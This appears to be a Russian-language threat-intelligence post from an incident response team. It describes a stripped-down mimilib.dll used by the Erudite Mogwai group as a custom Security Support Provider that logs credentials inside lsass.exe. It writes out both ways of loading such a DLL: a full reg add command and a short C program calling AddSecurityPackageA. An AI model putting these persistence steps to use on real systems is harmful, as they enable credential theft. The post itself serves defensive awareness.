При расследовании атаки группировки
Erudite Mogwai (aka Space Pirates) на одного из клиентов мы нашли модифицированную библиотеку mimilib.dll. Windows Defender ее не заметил, потому что злоумышленники при модификации оставили только одну экспортную функцию SpLsaModeInitialize и убрали все строки, на которые могли бы сработать сигнатуры АВПО. Эта библиотека — кастомный
Security Support Provider (SSP). После загрузки в память процесса lsass.exe SSP перехватывает и записывает в лог-файл учетные данные пользователя, когда он проходит аутентификацию.Как внедряют такую DLL SSP в процесс lsass.exe? Есть два способа.
1️⃣ Регистрация через реестр как LSA Security Package
— Поместить кастомный SSP DLL в
%systemroot%\system32— Прописать его как
LSA Security Packages через реестр:reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0<custom_ssp_name>" /t REG_MULTI_SZ /f
— Перезагрузить систему
2️⃣ Загрузка через API-вызов AddSecurityPackage
— Загрузить DLL с помощью функции
AddSecurityPackage из библиотеки Secur32.lib. Пример кода, реализующий этот метод:
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <NTSecAPI.h>
#include <ntsecpkg.h>
#pragma comment(lib, "Secur32.lib")
int main()
{
SECURITY_PACKAGE_OPTIONS spo = {};
SECURITY_STATUS ss = AddSecurityPackageA((LPSTR)"<path_to_ssp_dll>", &spo);
return 0;
}
➕ Плюсы этого метода:
DLL можно разместить в любом месте
Не нужна перезагрузка
❌ Минус:
После перезагрузки SSP выгрузится из пространства процесса
lsass.exeГруппировка Erudite Mogwai в своей атаке использовала один из этих методов. Какой — угадаете?
🔥 — если голосуете за первый вариант
❤️ — если голосуете за второй
Завтра раскроем карты!